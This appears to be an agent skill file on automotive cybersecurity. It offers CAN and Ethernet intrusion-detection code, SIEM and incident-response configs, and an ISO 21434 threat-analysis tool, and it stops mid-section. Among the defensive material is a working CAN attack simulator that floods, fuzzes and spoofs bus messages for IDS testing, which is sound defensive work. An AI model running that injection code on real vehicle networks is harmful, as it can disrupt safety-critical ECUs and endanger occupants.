automotive-cybersecurity
pangzhenying2025/hermes-automotive-skills/skills/automotive-cybersecurity/SKILL.md
Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.
Skill8 starsChanged 5 months ago
What's in it
- Automotive Cybersecurity
- Intrusion Detection Prevention
- Intrusion Detection & Prevention Skill
- Overview
- Core Competencies
- IDS/IPS Architecture
- Detection Techniques
- CAN Bus Intrusion Detection System
- CAN IDS Implementation
- CAN Attack Simulator (for testing)
- Ethernet IDS (Gateway/TCU)
- SIEM Integration (ELK Stack)
- Incident Response Playbook
- Best Practices
- References
- Iso 21434 Compliance
- ISO/SAE 21434 Compliance Skill
- Overview
- Core Competencies
- ISO/SAE 21434 Framework
- TARA Methodology
- UN R155 & R156 Alignment
- ISO 21434 Workflow
- Phase 1: Concept Phase
- Phase 2: TARA Execution
- Phase 3: Cybersecurity Concept
- Phase 4: Cybersecurity Verification
- UN R155 Compliance
- ISO 21434 Tool: Attack Tree Generator
- Best Practices
---
name: automotive-cybersecurity
description: >
Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.
tags: [automotive, automotive-cybersecurity]
---
# Automotive Cybersecurity
## Intrusion Detection Prevention
# Intrusion Detection & Prevention Skill
## Overview
Expert skill for implementing IDS/IPS (Intrusion Detection/Prevention Systems) in automotive networks. Covers CAN bus anomaly detection, network traffic analysis, SIEM integration, honeypot deployment, and incident response playbooks.
## Core Competencies
### IDS/IPS Architecture
- **Network-based IDS (NIDS)**: Monitor CAN, FlexRay, Ethernet traffic
- **Host-based IDS (HIDS)**: Monitor ECU system calls, file integrity
- **Anomaly Detection**: Machine learning for baseline behavior
- **Signature-based Detection**: Known attack patterns
- **Prevention Mechanisms**: Frame filtering, rate limiting, isolation
### Detection Techniques
- **Statistical Analysis**: Abnormal message rates, timing violations
- **Protocol Validation**: Malformed frames, invalid DLC
- **Behavioral Analysis**: Unexpected ECU communication patterns
- **Entropy Analysis**: Randomness in payload data
## CAN Bus Intrusion Detection System
### CAN IDS Implementation
```python
#!/usr/bin/env python3
"""
CAN Bus Intrusion Detection System
Real-time anomaly detection for automotive CAN networks
"""
import can
import time
import statistics
from collections import defaultdict, deque
from datetime import datetime, timedelta
import json
class CANIDSEngine:
"""Core CAN IDS detection engine"""
def __init__(self, can_interface: str = 'can0', window_size: int = 100):
self.interface = can_interface
self.bus = can.interface.Bus(channel=can_interface, bustype='socketcan')
# Message statistics per CAN ID
self.msg_stats = defaultdict(lambda: {
'count': 0,
'last_timestamp': None,
'intervals': deque(maxlen=window_size),
'dlc_values': deque(maxlen=window_size),
'payloads': deque(maxlen=window_size)
})
# Learned baseline (normal behavior)
self.baseline = {}
self.alerts = []
print(f"=== CAN IDS Engine Initialized ===")
print(f"[INFO] Interface: {can_interface}")
print(f"[INFO] Window size: {window_size}")
def learn_baseline(self, duration_seconds: int = 300):
"""Learn normal CAN traffic baseline (5 minutes)"""
print(f"\n=== Learning Baseline (mode) ===")
print(f"[INFO] Duration: {duration_seconds} seconds")
print(f"[INFO] Capturing normal traffic...")
start_time = time.time()
message_count = 0
while (time.time() - start_time) < duration_seconds:
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
self._update_statistics(msg)
message_count += 1
if message_count % 1000 == 0:
elapsed = int(time.time() - start_time)
print(f"[INFO] {message_count} messages captured ({elapsed}s)")
# Compute baseline statistics
self._compute_baseline()
print(f"\n[PASS] Baseline learning complete")
print(f"[INFO] Total messages: {message_count}")
print(f"[INFO] Unique CAN IDs: {len(self.baseline)}")
def _update_statistics(self, msg: can.Message):
"""Update statistics for received message"""
stats = self.msg_stats[msg.arbitration_id]
stats['count'] += 1
# Calculate inter-arrival time
if stats['last_timestamp'] is not None:
interval = msg.timestamp - stats['last_timestamp']
stats['intervals'].append(interval)
stats['last_timestamp'] = msg.timestamp
stats['dlc_values'].append(msg.dlc)
stats['payloads'].append(bytes(msg.data))
def _compute_baseline(self):
"""Compute baseline statistics from learned data"""
print(f"\n[INFO] Computing baseline statistics...")
for can_id, stats in self.msg_stats.items():
if stats['count'] < 10:
continue # Insufficient data
# Interval statistics
intervals = list(stats['intervals'])
interval_mean = statistics.mean(intervals) if intervals else 0
interval_std = statistics.stdev(intervals) if len(intervals) > 1 else 0
# Expected DLC
dlc_mode = max(set(stats['dlc_values']), key=list(stats['dlc_values']).count)
# Payload entropy (randomness)
payloads = list(stats['payloads'])
entropy_mean = statistics.mean([self._calculate_entropy(p) for p in payloads])
self.baseline[can_id] = {
'message_count': stats['count'],
'interval_mean': interval_mean,
'interval_std': interval_std,
'interval_min': interval_mean - (3 * interval_std), # 3-sigma
'interval_max': interval_mean + (3 * interval_std),
'expected_dlc': dlc_mode,
'entropy_mean': entropy_mean,
'payloads_sample': payloads[:10] # Store samples for comparison
}
print(f" CAN ID 0x{can_id:03X}: "
f"interval={interval_mean*1000:.2f}ms±{interval_std*1000:.2f}ms, "
f"DLC={dlc_mode}, "
f"entropy={entropy_mean:.2f}")
def _calculate_entropy(self, data: bytes) -> float:
"""Calculate Shannon entropy of payload"""
if len(data) == 0:
return 0.0
from collections import Counter
import math
counter = Counter(data)
length = len(data)
entropy = 0.0
for count in counter.values():
p = count / length
entropy -= p * math.log2(p)
return entropy
def detect_anomalies(self, msg: can.Message) -> list:
"""Detect anomalies in received message"""
anomalies = []
can_id = msg.arbitration_id
if can_id not in self.baseline:
anomalies.append({
'type': 'UNKNOWN_CAN_ID',
'severity': 'HIGH',
'description': f'New CAN ID 0x{can_id:03X} not seen during baseline',
'timestamp': msg.timestamp
})
return anomalies
baseline = self.baseline[can_id]
stats = self.msg_stats[can_id]
# Check 1: Inter-arrival time anomaly
if stats['last_timestamp'] is not None:
interval = msg.timestamp - stats['last_timestamp']
if interval < baseline['interval_min']:
anomalies.append({
'type': 'MESSAGE_FLOODING',
'severity': 'HIGH',
'description': f'CAN ID 0x{can_id:03X} flooding: '
f'interval {interval*1000:.2f}ms < expected {baseline["interval_min"]*1000:.2f}ms',
'timestamp': msg.timestamp,
'can_id': can_id
})
elif interval > baseline['interval_max']:
anomalies.append({
'type': 'MESSAGE_SUPPRESSION',
'severity': 'MEDIUM',
'description': f'CAN ID 0x{can_id:03X} delayed: '
f'interval {interval*1000:.2f}ms > expected {baseline["interval_max"]*1000:.2f}ms',
'timestamp': msg.timestamp,
'can_id': can_id
})
# Check 2: DLC anomaly
if msg.dlc != baseline['expected_dlc']:
anomalies.append({
'type': 'DLC_ANOMALY',
'severity': 'MEDIUM',
'description': f'CAN ID 0x{can_id:03X} unexpected DLC: '
f'{msg.dlc} != expected {baseline["expected_dlc"]}',
'timestamp': msg.timestamp,
'can_id': can_id
})
# Check 3: Payload entropy anomaly (possible injection/fuzzing)
payload_entropy = self._calculate_entropy(bytes(msg.data))
entropy_diff = abs(payload_entropy - baseline['entropy_mean'])
if entropy_diff > 2.0: # Significant entropy change
anomalies.append({
'type': 'PAYLOAD_ANOMALY',
'severity': 'HIGH',
'description': f'CAN ID 0x{can_id:03X} unusual payload entropy: '
f'{payload_entropy:.2f} (expected {baseline["entropy_mean"]:.2f})',
'timestamp': msg.timestamp,
'can_id': can_id,
'payload': msg.data.hex()
})
# Update statistics
self._update_statistics(msg)
return anomalies
def monitor(self, duration_seconds: int = None, prevention_mode: bool = False):
"""Monitor CAN bus for intrusions"""
print(f"\n=== CAN IDS Monitoring ===")
print(f"[INFO] Prevention mode: {prevention_mode}")
start_time = time.time()
message_count = 0
anomaly_count = 0
try:
while True:
if duration_seconds and (time.time() - start_time) > duration_seconds:
break
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
message_count += 1
# Detect anomalies
anomalies = self.detect_anomalies(msg)
if anomalies:
anomaly_count += len(anomalies)
for anomaly in anomalies:
self._handle_alert(anomaly, msg, prevention_mode)
# Status update every 5000 messages
if message_count % 5000 == 0:
elapsed = int(time.time() - start_time)
print(f"[INFO] {message_count} messages, {anomaly_count} anomalies ({elapsed}s)")
except KeyboardInterrupt:
print(f"\n[INFO] Monitoring stopped by user")
print(f"\n=== Monitoring Summary ===")
print(f"[INFO] Total messages: {message_count}")
print(f"[INFO] Anomalies detected: {anomaly_count}")
print(f"[INFO] Detection rate: {anomaly_count/message_count*100:.2f}%")
def _handle_alert(self, anomaly: dict, msg: can.Message, prevention_mode: bool):
"""Handle detected anomaly"""
timestamp = datetime.fromtimestamp(anomaly['timestamp']).strftime('%H:%M:%S.%f')[:-3]
print(f"\n[ALERT] {anomaly['severity']} - {anomaly['type']} @ {timestamp}")
print(f" Description: {anomaly['description']}")
print(f" CAN ID: 0x{msg.arbitration_id:03X}, DLC: {msg.dlc}, Data: {msg.data.hex()}")
# Log alert
self.alerts.append(anomaly)
# Prevention actions
if prevention_mode:
if anomaly['type'] == 'MESSAGE_FLOODING':
print(f" [BLOCK] Rate limiting CAN ID 0x{msg.arbitration_id:03X}")
# In real system: configure CAN controller filters
elif anomaly['type'] == 'UNKNOWN_CAN_ID':
print(f" [BLOCK] Dropping frames from unknown CAN ID 0x{msg.arbitration_id:03X}")
elif anomaly['type'] == 'PAYLOAD_ANOMALY':
print(f" [ISOLATE] Potential fuzzing/injection detected - isolating ECU")
def export_alerts(self, output_file: str):
"""Export alerts to JSON"""
with open(output_file, 'w') as f:
json.dump(self.alerts, f, indent=2)
print(f"[INFO] Alerts exported: {output_file}")
# Example: Simulate CAN attacks and detect them
def demo_can_ids():
import os
# Setup virtual CAN interface
os.system('sudo modprobe vcan')
os.system('sudo ip link add dev vcan0 type vcan')
os.system('sudo ip link set up vcan0')
print("=== CAN IDS Demo ===")
print("[INFO] Using virtual CAN interface vcan0")
# Create IDS
ids = CANIDSEngine(can_interface='vcan0', window_size=50)
# Simulate normal traffic generator (in separate process)
print("\n[INFO] Start normal CAN traffic generator in another terminal:")
print(" python3 can_traffic_generator.py --interface vcan0 --scenario normal")
input("\nPress Enter when normal traffic is running...")
# Learn baseline
ids.learn_baseline(duration_seconds=60)
# Monitor for attacks
print("\n[INFO] Now inject attacks using:")
print(" python3 can_attack_simulator.py --interface vcan0 --attack flooding")
input("\nPress Enter to start monitoring...")
ids.monitor(duration_seconds=120, prevention_mode=True)
# Export results
ids.export_alerts('/tmp/can_ids_alerts.json')
if __name__ == "__main__":
demo_can_ids()
```
### CAN Attack Simulator (for testing)
```python
#!/usr/bin/env python3
"""
CAN Attack Simulator for IDS Testing
Generates various attack scenarios
"""
import can
import time
import random
class CANAttackSimulator:
def __init__(self, interface: str = 'vcan0'):
self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
print(f"=== CAN Attack Simulator ===")
print(f"[INFO] Interface: {interface}")
def attack_flooding(self, target_can_id: int = 0x123, duration: int = 10):
"""Message flooding attack"""
print(f"\n[ATTACK] Flooding CAN ID 0x{target_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
msg = can.Message(
arbitration_id=target_can_id,
data=[0x00] * 8,
is_extended_id=False
)
self.bus.send(msg)
count += 1
# No delay - flood as fast as possible
print(f"[INFO] Sent {count} messages in {duration}s")
def attack_fuzzing(self, target_can_id: int = 0x456, duration: int = 10):
"""Payload fuzzing attack"""
print(f"\n[ATTACK] Fuzzing CAN ID 0x{target_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
# Random payload
payload = [random.randint(0, 255) for _ in range(8)]
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
self.bus.send(msg)
count += 1
time.sleep(0.01) # 10ms interval
print(f"[INFO] Sent {count} fuzzed messages")
def attack_spoofing(self, spoof_can_id: int = 0x789, duration: int = 10):
"""ECU spoofing attack (new CAN ID)"""
print(f"\n[ATTACK] Spoofing new CAN ID 0x{spoof_can_id:03X}")
start_time = time.time()
count = 0
while (time.time() - start_time) < duration:
msg = can.Message(
arbitration_id=spoof_can_id,
data=[0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00],
is_extended_id=False
)
self.bus.send(msg)
count += 1
time.sleep(0.02)
print(f"[INFO] Sent {count} spoofed messages")
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print("Usage: python3 can_attack_simulator.py --interface vcan0 --attack [flooding|fuzzing|spoofing]")
sys.exit(1)
interface = sys.argv[2]
attack_type = sys.argv[4]
attacker = CANAttackSimulator(interface=interface)
if attack_type == "flooding":
attacker.attack_flooding(target_can_id=0x123, duration=30)
elif attack_type == "fuzzing":
attacker.attack_fuzzing(target_can_id=0x456, duration=30)
elif attack_type == "spoofing":
attacker.attack_spoofing(spoof_can_id=0x999, duration=30)
else:
print(f"Unknown attack type: {attack_type}")
```
## Ethernet IDS (Gateway/TCU)
```python
#!/usr/bin/env python3
"""
Ethernet-based IDS for Automotive Gateway/TCU
Deep packet inspection for HTTP, MQTT, SOME/IP
"""
from scapy.all import sniff, IP, TCP, UDP
from collections import defaultdict
import time
class EthernetIDS:
"""Ethernet network IDS"""
def __init__(self, interface: str = 'eth0'):
self.interface = interface
self.connection_tracker = defaultdict(lambda: {
'count': 0,
'first_seen': None,
'last_seen': None
})
self.alerts = []
print(f"=== Ethernet IDS Initialized ===")
print(f"[INFO] Interface: {interface}")
def packet_callback(self, packet):
"""Process captured packet"""
if IP not in packet:
return
src_ip = packet[IP].src
dst_ip = packet[IP].dst
# Track connection
conn_key = f"{src_ip}:{dst_ip}"
tracker = self.connection_tracker[conn_key]
tracker['count'] += 1
tracker['last_seen'] = time.time()
if tracker['first_seen'] is None:
tracker['first_seen'] = time.time()
# Detection rules
if TCP in packet:
self._check_tcp_anomalies(packet)
elif UDP in packet:
self._check_udp_anomalies(packet)
def _check_tcp_anomalies(self, packet):
"""Check for TCP-based attacks"""
tcp = packet[TCP]
# SYN flood detection
if tcp.flags == 'S':
src_ip = packet[IP].src
syn_count = sum(1 for key in self.connection_tracker
if key.startswith(src_ip) and
time.time() - self.connection_tracker[key]['first_seen'] < 10)
if syn_count > 100:
alert = {
'type': 'SYN_FLOOD',
'severity': 'HIGH',
'source': src_ip,
'description': f'Possible SYN flood from {src_ip} ({syn_count} connections in 10s)'
}
self._raise_alert(alert)
# Port scanning detection
dst_port = tcp.dport
if dst_port > 1024: # Non-standard ports
src_ip = packet[IP].src
unique_ports = len(set(
key.split(':')[1] for key in self.connection_tracker
if key.startswith(src_ip)
))
if unique_ports > 50:
alert = {
'type': 'PORT_SCAN',
'severity': 'MEDIUM',
'source': src_ip,
'description': f'Port scanning detected from {src_ip} ({unique_ports} unique ports)'
}
self._raise_alert(alert)
def _check_udp_anomalies(self, packet):
"""Check for UDP-based attacks"""
udp = packet[UDP]
# SOME/IP message validation (automotive middleware)
if udp.dport in [30490, 30491, 30492]: # SOME/IP ports
payload = bytes(packet[UDP].payload)
if len(payload) < 16:
alert = {
'type': 'MALFORMED_SOMEIP',
'severity': 'MEDIUM',
'source': packet[IP].src,
'description': 'Malformed SOME/IP message (too short)'
}
self._raise_alert(alert)
def _raise_alert(self, alert: dict):
"""Raise security alert"""
print(f"\n[ALERT] {alert['severity']} - {alert['type']}")
print(f" {alert['description']}")
self.alerts.append(alert)
def start_monitoring(self, count: int = 1000):
"""Start packet capture"""
print(f"\n[INFO] Starting Ethernet monitoring ({count} packets)...")
sniff(iface=self.interface, prn=self.packet_callback, count=count)
print(f"\n=== Monitoring Complete ===")
print(f"[INFO] Alerts raised: {len(self.alerts)}")
if __name__ == "__main__":
ids = EthernetIDS(interface='eth0')
ids.start_monitoring(count=5000)
```
## SIEM Integration (ELK Stack)
```yaml
# Logstash configuration for CAN IDS alerts
input {
file {
path => "/var/log/can_ids/alerts.json"
start_position => "beginning"
codec => "json"
}
}
filter {
# Parse CAN IDS alerts
if [type] == "MESSAGE_FLOODING" {
mutate {
add_field => { "severity_score" => 9 }
add_tag => ["dos_attack"]
}
}
if [type] == "PAYLOAD_ANOMALY" {
mutate {
add_field => { "severity_score" => 8 }
add_tag => ["potential_injection"]
}
}
# Convert CAN ID to hex
ruby {
code => "event.set('can_id_hex', '0x%03X' % event.get('can_id'))"
}
# GeoIP lookup for external attacks
if [source_ip] {
geoip {
source => "source_ip"
target => "geoip"
}
}
}
output {
elasticsearch {
hosts => ["localhost:9200"]
index => "automotive-ids-%{+YYYY.MM.dd}"
}
# High severity alerts to Slack
if [severity] == "HIGH" {
http {
url => "https://hooks.slack.com/services/YOUR/WEBHOOK/URL"
http_method => "post"
format => "json"
content_type => "application/json"
message => '{
"text": "🚨 CAN IDS Alert: %{type}",
"attachments": [{
"color": "danger",
"fields": [
{"title": "Description", "value": "%{description}"},
{"title": "CAN ID", "value": "%{can_id_hex}"},
{"title": "Timestamp", "value": "%{@timestamp}"}
]
}]
}'
}
}
}
```
## Incident Response Playbook
```yaml
# Automotive Cybersecurity Incident Response Playbook
incident_response:
phase_1_identification:
- alert: "IDS detects anomaly"
- verify: "Confirm alert is not false positive"
- classify: "Determine attack type and severity"
- escalate: "Notify security team and OEM SOC"
phase_2_containment:
short_term:
- action: "Isolate affected ECU/network segment"
- method: "Gateway firewall rules, CAN filters"
- verify: "Confirm attack traffic blocked"
long_term:
- action: "Patch vulnerable software"
- method: "OTA security update"
- timeline: "< 72 hours per UN R155"
phase_3_eradication:
- identify_root_cause: "Vulnerability analysis, forensics"
- remove_threat: "Firmware update, key revocation"
- verify_clean: "Scan for persistence mechanisms"
phase_4_recovery:
- restore_service: "Reboot ECU, restore network"
- validate: "Functional testing, regression testing"
- monitor: "Enhanced monitoring for 7 days"
phase_5_lessons_learned:
- document: "Incident timeline, root cause, actions taken"
- improve: "Update IDS signatures, patch other vehicles"
- report: "Notify regulatory authorities (UN R155 requirement)"
```
## Best Practices
1. **Layered Defense**: Deploy IDS at multiple layers (CAN, Ethernet, application)
2. **Baseline Learning**: Capture 24-hour baseline before production deployment
3. **False Positive Tuning**: Iterate on detection rules to reduce false positives < 1%
4. **SIEM Integration**: Centralize logs for fleet-wide threat intelligence
5. **Incident Playbooks**: Pre-define response procedures for < 15 minute MTTR
## References
- NIST SP 800-94: Guide to Intrusion Detection and Prevention Systems
- ISO 21434: Cybersecurity Engineering (Clause 11: Incident Response)
- AUTOSAR SecOC: Secure Onboard Communication specification
- J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems
---
## Iso 21434 Compliance
# ISO/SAE 21434 Compliance Skill
## Overview
Expert skill for implementing ISO/SAE 21434 cybersecurity engineering standard for road vehicles. Covers CSMS (Cybersecurity Management System), TARA (Threat Analysis and Risk Assessment), cybersecurity concept phase, product development, and operations/maintenance.
## Core Competencies
### ISO/SAE 21434 Framework
- **Cybersecurity Management System (CSMS)**: Organizational processes, roles, responsibilities
- **Concept Phase**: Item definition, cybersecurity goals, threat scenarios
- **Product Development**: Security requirements, architecture design, verification
- **Operations & Maintenance**: Incident response, vulnerability management, EOL handling
- **Supporting Processes**: Risk assessment, security testing, change management
### TARA Methodology
- **Asset Identification**: Identify critical assets (ECUs, data, communication channels)
- **Threat Scenario Definition**: STRIDE/DREAD modeling, attack trees
- **Impact Rating**: ASIL-D alignment, damage scenarios (safety, financial, operational, privacy)
- **Attack Feasibility**: Elapsed time, specialist expertise, knowledge of item, window of opportunity, equipment
- **Risk Determination**: Risk = Impact × Attack Feasibility
- **Risk Treatment**: Avoid, reduce, share, retain
### UN R155 & R156 Alignment
- **R155**: Cybersecurity management system requirements
- **R156**: Software update management system requirements
- **Type Approval**: Demonstration of compliance for vehicle homologation
## ISO 21434 Workflow
### Phase 1: Concept Phase
```yaml
# Item Definition Template
item_definition:
item_name: "Telematics Control Unit (TCU)"
item_id: "TCU-2024-001"
description: "4G/5G connected telematics unit with V2X capability"
boundaries:
physical: "TCU ECU, antenna, power supply"
logical: "CAN, Ethernet, cellular modem interfaces"
temporal: "Ignition-on to ignition-off, OTA updates"
assets:
- name: "Vehicle Location Data"
type: "Data"
confidentiality: HIGH
integrity: MEDIUM
availability: MEDIUM
- name: "Firmware Image"
type: "Software"
confidentiality: LOW
integrity: HIGH
availability: HIGH
- name: "Private Key for V2X"
type: "Cryptographic Material"
confidentiality: CRITICAL
integrity: CRITICAL
availability: HIGH
interfaces:
- name: "CAN Bus Interface"
protocol: "CAN 2.0B"
threat_exposure: MEDIUM
security_properties: ["message authentication"]
- name: "Cellular Interface"
protocol: "LTE/5G"
threat_exposure: HIGH
security_properties: ["TLS 1.3", "certificate pinning"]
```
### Phase 2: TARA Execution
```python
#!/usr/bin/env python3
"""
ISO 21434 TARA (Threat Analysis and Risk Assessment) Tool
Performs automated threat modeling and risk calculation
"""
from enum import Enum
from dataclasses import dataclass
from typing import List, Dict
import json
class ImpactLevel(Enum):
NEGLIGIBLE = 1
MODERATE = 2
MAJOR = 3
SEVERE = 4
class AttackFeasibility(Enum):
VERY_LOW = 1
LOW = 2
MEDIUM = 3
HIGH = 4
VERY_HIGH = 5
class RiskLevel(Enum):
LOW = 1
MEDIUM = 2
HIGH = 3
VERY_HIGH = 4
@dataclass
class Threat:
threat_id: str
name: str
description: str
threat_type: str # Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation
asset: str
impact_safety: ImpactLevel
impact_financial: ImpactLevel
impact_operational: ImpactLevel
impact_privacy: ImpactLevel
# Attack Feasibility Parameters (ISO 21434 Table A.1)
elapsed_time: int # 0-19 points
specialist_expertise: int # 0-11 points
knowledge_of_item: int # 0-11 points
window_of_opportunity: int # 0-10 points
equipment: int # 0-9 points
@dataclass
class RiskAssessment:
threat: Threat
overall_impact: ImpactLevel
attack_feasibility: AttackFeasibility
risk_level: RiskLevel
risk_value: int
treatment: str
justification: str
class TARAEngine:
def __init__(self):
self.threats = []
self.assessments = []
def calculate_attack_feasibility(self, threat: Threat) -> AttackFeasibility:
"""Calculate attack feasibility per ISO 21434 Annex G"""
total_score = (
threat.elapsed_time +
threat.specialist_expertise +
threat.knowledge_of_item +
threat.window_of_opportunity +
threat.equipment
)
# ISO 21434 Table G.1 mapping
if total_score >= 37:
return AttackFeasibility.VERY_LOW
elif total_score >= 25:
return AttackFeasibility.LOW
elif total_score >= 13:
return AttackFeasibility.MEDIUM
elif total_score >= 10:
return AttackFeasibility.HIGH
else:
return AttackFeasibility.VERY_HIGH
def calculate_overall_impact(self, threat: Threat) -> ImpactLevel:
"""Determine worst-case impact across all categories"""
impacts = [
threat.impact_safety,
threat.impact_financial,
threat.impact_operational,
threat.impact_privacy
]
return max(impacts, key=lambda x: x.value)
def determine_risk_level(self, impact: ImpactLevel, feasibility: AttackFeasibility) -> tuple:
"""Map impact and feasibility to risk level (ISO 21434 Table 9)"""
risk_matrix = {
(ImpactLevel.SEVERE, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.SEVERE, AttackFeasibility.HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.SEVERE, AttackFeasibility.MEDIUM): (RiskLevel.HIGH, 4),
(ImpactLevel.SEVERE, AttackFeasibility.LOW): (RiskLevel.MEDIUM, 3),
(ImpactLevel.SEVERE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 2),
(ImpactLevel.MAJOR, AttackFeasibility.VERY_HIGH): (RiskLevel.VERY_HIGH, 5),
(ImpactLevel.MAJOR, AttackFeasibility.HIGH): (RiskLevel.HIGH, 4),
(ImpactLevel.MAJOR, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 3),
(ImpactLevel.MAJOR, AttackFeasibility.LOW): (RiskLevel.LOW, 2),
(ImpactLevel.MAJOR, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),
(ImpactLevel.MODERATE, AttackFeasibility.VERY_HIGH): (RiskLevel.HIGH, 4),
(ImpactLevel.MODERATE, AttackFeasibility.HIGH): (RiskLevel.MEDIUM, 3),
(ImpactLevel.MODERATE, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 2),
(ImpactLevel.MODERATE, AttackFeasibility.LOW): (RiskLevel.LOW, 1),
(ImpactLevel.MODERATE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),
}
key = (impact, feasibility)
return risk_matrix.get(key, (RiskLevel.LOW, 1))
def assess_threat(self, threat: Threat) -> RiskAssessment:
"""Perform complete risk assessment for a threat"""
overall_impact = self.calculate_overall_impact(threat)
attack_feasibility = self.calculate_attack_feasibility(threat)
risk_level, risk_value = self.determine_risk_level(overall_impact, attack_feasibility)
# Determine treatment strategy
if risk_value >= 4:
treatment = "REDUCE"
justification = "High/Very High risk requires mitigation controls"
elif risk_value >= 3:
treatment = "REDUCE or SHARE"
justification = "Medium risk may require mitigation or transfer"
else:
treatment = "ACCEPT"
justification = "Low risk acceptable with documentation"
assessment = RiskAssessment(
threat=threat,
overall_impact=overall_impact,
attack_feasibility=attack_feasibility,
risk_level=risk_level,
risk_value=risk_value,
treatment=treatment,
justification=justification
)
self.assessments.append(assessment)
return assessment
def generate_report(self, output_file: str):
"""Generate TARA report in JSON format"""
report = {
"tara_metadata": {
"standard": "ISO/SAE 21434:2021",
"version": "1.0",
"date": "2026-03-19",
"total_threats": len(self.assessments)
},
"risk_summary": {
"very_high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.VERY_HIGH),
"high": sum(1 for a in self.assessments if a.risk_level == RiskLevel.HIGH),
"medium": sum(1 for a in self.assessments if a.risk_level == RiskLevel.MEDIUM),
"low": sum(1 for a in self.assessments if a.risk_level == RiskLevel.LOW)
},
"assessments": []
}
for assessment in self.assessments:
report["assessments"].append({
"threat_id": assessment.threat.threat_id,
"threat_name": assessment.threat.name,
"threat_type": assessment.threat.threat_type,
"asset": assessment.threat.asset,
"impact": assessment.overall_impact.name,
"attack_feasibility": assessment.attack_feasibility.name,
"feasibility_score": {
"elapsed_time": assessment.threat.elapsed_time,
"specialist_expertise": assessment.threat.specialist_expertise,
"knowledge_of_item": assessment.threat.knowledge_of_item,
"window_of_opportunity": assessment.threat.window_of_opportunity,
"equipment": assessment.threat.equipment,
"total": sum([
assessment.threat.elapsed_time,
assessment.threat.specialist_expertise,
assessment.threat.knowledge_of_item,
assessment.threat.window_of_opportunity,
assessment.threat.equipment
])
},
"risk_level": assessment.risk_level.name,
"risk_value": assessment.risk_value,
"treatment": assessment.treatment,
"justification": assessment.justification
})
with open(output_file, 'w') as f:
json.dump(report, f, indent=2)
print(f"TARA report generated: {output_file}")
# Example: TCU TARA
def run_tcu_tara():
tara = TARAEngine()
# Threat T-001: Remote Code Execution via OTA
threat_rce = Threat(
threat_id="T-001",
name="Remote Code Execution via Malicious OTA Update",
description="Attacker injects malicious firmware via compromised OTA server",
threat_type="Tampering",
asset="Firmware Image",
impact_safety=ImpactLevel.SEVERE, # Can control vehicle functions
impact_financial=ImpactLevel.MAJOR, # Massive recall
impact_operational=ImpactLevel.SEVERE, # Complete TCU compromise
impact_privacy=ImpactLevel.MAJOR, # Access to all telemetry data
elapsed_time=13, # Days to weeks (13-16 points per ISO 21434)
specialist_expertise=6, # Proficient (6 points)
knowledge_of_item=3, # Public information (0-3 points)
window_of_opportunity=4, # Easy (0-4 points)
equipment=4 # Standard equipment (4 points)
)
# Threat T-002: CAN Bus Message Injection
threat_can_injection = Threat(
threat_id="T-002",
name="CAN Bus Message Injection",
description="Attacker with physical access injects spoofed CAN messages",
threat_type="Spoofing",
asset="CAN Bus Interface",
impact_safety=ImpactLevel.MAJOR, # Can send false sensor data
impact_financial=ImpactLevel.MODERATE,
impact_operational=ImpactLevel.MAJOR,
impact_privacy=ImpactLevel.NEGLIGIBLE,
elapsed_time=16, # < 1 day (16-19 points)
specialist_expertise=6, # Proficient
knowledge_of_item=7, # Restricted information (4-7 points)
window_of_opportunity=7, # Moderate (5-7 points)
equipment=6 # Specialized equipment (5-7 points)
)
# Threat T-003: V2X Certificate Theft
threat_cert_theft = Threat(
threat_id="T-003",
name="V2X Certificate Private Key Extraction",
description="Physical attack to extract private key from HSM",
threat_type="Information Disclosure",
asset="Private Key for V2X",
impact_safety=ImpactLevel.MAJOR, # Spoofed V2X messages
impact_financial=ImpactLevel.SEVERE, # PKI infrastructure compromise
impact_operational=ImpactLevel.MAJOR,
impact_privacy=ImpactLevel.SEVERE, # Impersonation attacks
elapsed_time=7, # More than 1 month (7-12 points)
specialist_expertise=0, # Expert (0 points)
knowledge_of_item=0, # Sensitive information (0 points)
window_of_opportunity=7, # Moderate
equipment=0 # Bespoke equipment (0 points)
)
# Assess all threats
tara.assess_threat(threat_rce)
tara.assess_threat(threat_can_injection)
tara.assess_threat(threat_cert_theft)
# Generate report
tara.generate_report("/tmp/tcu_tara_report.json")
# Print summary
print("\n=== TARA Summary ===")
for assessment in tara.assessments:
print(f"\n{assessment.threat.threat_id}: {assessment.threat.name}")
print(f" Impact: {assessment.overall_impact.name}")
print(f" Attack Feasibility: {assessment.attack_feasibility.name}")
print(f" Risk Level: {assessment.risk_level.name} (Value: {assessment.risk_value})")
print(f" Treatment: {assessment.treatment}")
if __name__ == "__main__":
run_tcu_tara()
```
### Phase 3: Cybersecurity Concept
```yaml
# Cybersecurity Concept Template
cybersecurity_concept:
item: "Telematics Control Unit (TCU)"
version: "1.0"
date: "2026-03-19"
cybersecurity_goals:
- id: "CG-001"
description: "Prevent unauthorized firmware modification"
rationale: "Addresses T-001 (Remote Code Execution)"
security_property: "Integrity"
- id: "CG-002"
description: "Prevent CAN message spoofing"
rationale: "Addresses T-002 (CAN Bus Message Injection)"
security_property: "Authenticity"
- id: "CG-003"
description: "Protect V2X private key from extraction"
rationale: "Addresses T-003 (Certificate Theft)"
security_property: "Confidentiality"
cybersecurity_requirements:
- id: "CSR-001"
goal: "CG-001"
